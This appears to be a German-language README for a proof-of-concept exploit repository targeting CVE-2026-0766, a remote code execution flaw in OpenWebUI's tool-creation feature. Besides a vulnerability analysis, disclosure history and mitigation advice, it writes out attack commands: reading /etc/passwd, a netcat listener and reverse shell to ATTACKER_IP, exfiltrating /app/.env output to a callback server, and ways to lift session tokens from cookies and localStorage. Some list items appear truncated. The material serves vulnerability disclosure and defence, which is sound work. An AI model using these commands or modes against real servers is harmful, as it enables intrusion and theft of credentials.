
Proof-of-Concept-Exploit für CVE-2026-0766, eine Remote-Code-Ausführungsschwachstelle in OpenWebUI über Tool-Code-Injection. Enthält Befehlsausführung, Dateilesen, Reverse-Shell- und blinde Exfiltrationsmodi.
Repository für sicherheitsbezogene Bildungsforschung
Dieses Repository enthält Proof-of-Concept-Exploit-Code für CVE-2026-0766, eine Remote-Code-Execution-Schwachstelle in OpenWebUI, die vom Zero Day Initiative (ZDI) entdeckt und veröffentlicht wurde.
Dieses Repository dient ausschließlich autorisierten Sicherheitstests und Bildungszwecken.
Der Autor übernimmt keine Haftung für Missbrauch dieses Codes. Die Nutzer sind allein dafür verantwortlich, dass ihre Aktivitäten allen geltenden Gesetzen und Vorschriften entsprechen.
| Eigenschaft | Wert |
|---|
| CVE-ID | CVE-2026-0766 |
| Entdeckt von | Zero Day Initiative (ZDI) |
| Betroffene Software | OpenWebUI |
| Schwachstellentyp | Code-Injection (CWE-94) |
| CVSS-Score | 8.8 HOCH |
| CVSS-Vektor | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Angriffskomplexität | Niedrig (authentifizierter Administrator oder Benutzer mit Tool-Erstellungs-/Aktualisierungsrechten kann ausnutzen) |
OpenWebUI ist eine selbst gehostete Weboberfläche für Large Language Models. Es bietet eine ChatGPT-ähnliche Erfahrung, die Organisationen auf ihrer eigenen Infrastruktur betreiben können, wodurch LLM-Konversationen und -Daten lokal (on-premises) bleiben.
OpenWebUI enthält eine „Tools“-Funktion, die es Benutzern ermöglicht, LLM-Fähigkeiten durch das Einreichen von Python-Code zu erweitern. Dieser Code wird serverseitig über die Python-Funktion exec() ohne Sandboxing, Validierung oder Sicherheitskontrollen ausgeführt.
Ausnutzungsablauf:
POST /api/v1/tools/createcontent gespeichertexec(content, module.__dict__) in utils/plugin.py aufWichtige Erkenntnis: Der Code wird zum Zeitpunkt der Tool-Erstellung ausgeführt, nicht wenn das LLM das Tool aufruft. Das bedeutet, dass das bloße Erstellen eines bösartigen Tools RCE auslöst – keine weitere Interaktion erforderlich.
Dieser Exploit wurde verifiziert auf:
Die Schwachstelle ist architektonischer Natur (unsichere Verwendung von exec() auf Benutzereingaben) und existiert in allen Versionen, bis ein Sicherheitspatch vom OpenWebUI-Team veröffentlicht wird.
Die Schwachstelle existiert in backend/open_webui/utils/plugin.py:
def load_tool_module_by_id(tool_id: str, content: str):
# Minimale Vorverarbeitung (KEINE Sicherheitskontrolle)
content = replace_imports(content)
# Modul erstellen und Benutzercode ausführen
module = types.ModuleType(f"tool_{tool_id}")
exec(content, module.__dict__) # ← SCHWACHSTELLE
return module
Die Funktion replace_imports() schreibt nur Importpfade um (kosmetisch) – sie beschränkt nicht, welcher Code ausgeführt werden kann. Es gibt:
Das OpenWebUI-Team bewertete dies zunächst als niedrige Priorität und wies darauf hin, dass die Tool-Erstellung Administratorrechte erfordert. Jedoch:
Nachdem der Hersteller vorschlug, dass Administratoren dies mit eingeschränktem Zugriff verwalten sollten, hat ZDI dies als 0-Day-Schwachstelle veröffentlicht (ZDI-26-032), um Verteidiger zu informieren.
Der Autor respektiert die Herausforderungen bei der Pflege von Open-Source-Projekten. Sicherheits-Patching erfordert die Abwägung von Benutzerbedürfnissen, architektonischen Einschränkungen und begrenzten Ressourcen. Diese Veröffentlichung zielt darauf ab, Sicherheitsteams bei der Risikobewertung und der Implementierung von Gegenmaßnahmen zu unterstützen.
git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3
Das Exploit-Skript (exploit.py) unterstützt mehrere Angriffsmodi:
Betriebssystembefehle ausführen und Ausgabe abrufen:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"
Dateien vom Server-Dateisystem lesen:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd
Eine Reverse Shell starten (erfordert netcat-Listener):
# Auf dem Angreifer-Rechner:
nc -lvnp 4444
# Exploit ausführen:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444
Befehlsausgabe an einen HTTP-Callback-Server senden:
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"
Das Skript akzeptiert sowohl JWT-Tokens (aus SSO-Login) als auch API-Schlüssel:
Ein JWT-Token erhalten:
token-CookiesAuthorization: Bearer ... aus einer beliebigen API-AnfragelocalStorage.getItem("token") aus--token eyJhbGci...Wenn Sie OpenWebUI betreiben und nicht sofort patchen können:
Ersetzen Sie exec() durch eine sichere Alternative:
RestrictedPython für Sandbox-AusführungFügen Sie Berechtigungsprüfungen hinzu:
Verteidigung in der Tiefe:
MIT-Lizenz – Siehe Datei LICENSE für Details.
Dieser Code wird für Bildungs- und defensive Sicherheitszwecke bereitgestellt. Der Autor ist nicht für Missbrauch verantwortlich.
Diese Schwachstelle wurde verantwortungsvoll offengelegt:
Wenn Sie Sicherheitslücken in Open-Source-Projekten entdecken, befolgen Sie bitte Praktiken der verantwortungsvollen Offenlegung und geben Sie Maintainern Zeit zum Patchen, bevor Sie öffentlich offenlegen.
Für Fragen oder Feedback: Eröffnen Sie ein Issue in diesem Repository.